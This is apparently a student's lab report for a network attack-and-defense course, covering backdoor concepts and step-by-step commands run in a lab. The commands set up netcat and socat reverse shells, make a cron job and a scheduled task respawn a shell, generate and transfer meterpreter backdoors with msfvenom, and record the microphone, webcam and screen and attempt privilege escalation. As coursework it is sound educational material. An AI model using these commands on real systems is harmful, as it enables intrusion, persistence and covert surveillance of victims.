20222401 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1 实验内容
1.1 实践基本知识
1.1.1 后门
后门就是不经过正常认证流程而访问系统的通道。最早的后门并不是恶意的,而是开发人员为了便于在开发期间调试程序而设置的快捷路径。按照存在位置进行分类,可以分为以下4类:
- 编译器后门
- 操作系统后门
- 应用程序后门
- 伪装成正常程序的后门
1.1.2 后门技术类型
- 管控功能实现技术
- 自启动技术
- 进程隐藏技术
- 数据穿透与躲避技术
1.1.3 后门攻击的技术流程
- 编写好后门程序
- 入侵到目标主机
- 利用免杀技术活下来
- 然后执行操作达成目的
1.2 实践目标
- 使用netcat获取主机操作Shell,cron启动某项任务(任务自定),cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.3 实验要求
1.3.1 掌握后门原理及免杀技术
1.3.2 回答问题
Q:例举你能想到的一个后门进入到你系统中的可能方式?
A:首先有可能从编译器进入,我的电脑上有GCC编译器,而且下载的渠道也不是官方渠道。其次还有可能伪装成正常软件进入到系统。
Q:例举你知道的后门如何启动起来(win及linux)的方式?
A:在Windows系统下,有基于Windows启动目录的自启动,基于注册表的自启动,基于服务程序的自启动,基于ActiveX控件的自启动,基于计划任务的自启动。
在Linux系统下,有Cron(是Linux下的定时任务,可以设置定时运行)。
Q:Meterpreter有哪些给你映像深刻的功能?
A:让我印象最深的功能是远程控制,能够仅仅通过几行命令就能完成对远程主机的控制。
Q:如何发现自己有系统有没有被安装后门?
A:最简单的方式就是安装专业查杀软件,并且严格限制各类应用的权限。此外,也可以通过检查系统进程,注册表或者启动项来判断是否存在后门。在一些特殊情况下,可以查看系统日志,来查看是否存在异常行为。
2 实验过程
2.1 使用netcat获取主机操作Shell,cron启动某项任务
2.1.1 建立连接
首先,我们要确定Windows(以下简称Win主机)系统以及Linux(以下简称kali主机)的IP,这里需要注意,当主机连接的网络发生变化时,两台主机的IP一般都会变化,所以要注意修改,否则无法正常连接。
使用如下命令获取主机IP
ipconfig //Windows命令
ifconfig //Linux命令
然后,在Windows的shell界面输入如下命令
ncat.exe -l -p 2401 //这里的端口号选择的是学号,要避开常用端口号
在kali的shell界面输入如下命令
nc 192.168.1.106 2401 -e /bin/sh //建立反弹式连接(IP是Windows的)
然后输入ls
就可以看到若干输出(这里的输出可多可少,而且也不一定一样,我做了两次,输出的内容也不尽相同)。
只要能够说明这些文件是来自kali的文件系统,就表明两台主机已经建立连接。
2.1.2 设置定时任务
接下来设置定时任务,在kali中输入下列命令
crontab -e
在文字编辑界面加入如下语句
20 * * * * /bin/netcat 192.168.1.106 2401 -e /bin/sh
然后输入下列命令查看一下时程表
crontab -l
会发现我们刚才加入的语句被输出出来了
我这里是做过一遍之后又做了一遍,所以输出结果不一样。
此时在/var/spool/cron/crontabs
路径下可以看到root
文件
然后Windows重新连接,输入whoami
保证路径是root
,然后输入如下命令
echo "* * * * * echo "20222401" > /home/kali/20222401.txt" > /var/spool/cron/crontabs/root
这里就已经覆盖成功了。
在kali的文件系统的相应路径中能看到刚才生成的文件。
2.2 使用socat获取主机操作Shell, 任务计划启动
2.1.1 编写启动程序
点击查看代码
#include <stdlib.h>
#include <stdio.h>
int main()
{
const char *url = "https://wiki.pvz1.com/doku.php?id=%E6%94%BB%E7%95%A5:%E6%A4%8D%E7%89%A9%E5%A4%A7%E6%88%98%E5%83%B5%E5%B0%B8";
#ifdef _WIN32
const char *command = "start \"\" \"%s\"";
#else
const char *command = "xdg-open %s";
#endif
char command_buffer[256];
snprintf(command_buffer, sizeof(command_buffer), command, url);
printf("Executing command: %s\n", command_buffer);
int result = system(command_buffer);
if (result == -1)
{
perror("system");
return 1;
}
return 0;
}
这里的程序是要打开PVZ Wiki(一个国内的植物大战僵尸论坛网站),如下图
然后编译得到exe文件,这个就是待会我们要设置定时执行的文件。
在Windows的shell界面输入以下命令
socat.exe tcp-listen:2401 exec:cmd.exe,pty,stderr
在kali的shell界面中输入以下命令
socat - tcp:192.168.1.106:2401
输入chcp 65001
解决乱码问题。
然后输入如下命令,创建定时计划
schtasks /create /sc minute /mo 1 /tn "20222401" /tr C:\Users\33207\Desktop\PVZ_Wiki.exe
然后就可以享受网页刷屏的快感了
2.3 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
在kali主机的shell中输入以下命令,生成后门文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.244 LPORT=2401 -f exe > 20222401_backdoor.exe
在Windows主机的shell中输入以下命令
ncat.exe -l 2401 > 20222401_backdoor.exe
在kali中输入如下命令
nc 192.168.30.82 2401 < 20222401_backdoor.exe
然后我们就能发现后门文件也已经生成好了
然后在kali中输入以下命令,进行相关配置
msfconsole //进入控制台
use exploit/multi/handler //配置监听模块
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.50.244 //使用kali的IP,需要和之前生成后门程序时设置的IP相同
set LPORT 2401 //设置端口,需要和之前生成后门程序时设置的端口相同
接下来打开后门文件,输入以下命令(Windows界面)
20222401_backdoor.exe
接下来在kali中输入exploit
命令,然后输入ls
至此,后门安装成功。
2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
在kali输入如下命令
record_mic //获取音频
screenshot //获取截屏
webcam_snap //获取拍照
继续输入命令
getuid //查看当前用户
getsystem //提权指令
2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在kali的shell界面中输入以下命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.50.244 LPORT=2401 -x /home/kali/桌面/pwn -f elf > pwn20222401
chmod a+x pwn20222401
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.50.244
set LPORT 2401
exploit
然后再开一个终端,然后运行pwn20222401
至此,成功实现远程控制shell。
3 问题及解决方案
- 问题1:汉字乱码解决
- 问题1解决方案:
chcp 65001
,由于中文版Windows含有汉字,所以需要输入这行命令,来保证特殊编码能够正常显示。 - 问题2:注入失败(最后一步连接不上)
- 问题2解决方案:需要重新下载回实验一的文件,然后找对路径(我第一遍做的时候路径写错了一个字母,导致反复注入不成功),就能正常显示。
4 学习感悟、思考等
这一次实验主要掌握的是后门的相关攻击操作。在实验中,我学习使用netcat获取主机操作Shell,cron启动某项任务,使用MSF meterpreter生成可执行文件,使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权以及使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
这次实验也让我的安全意识也有了提升,以后下载软件都要尽可能选择来源可靠的路径,并且来历不明的文件不要点击。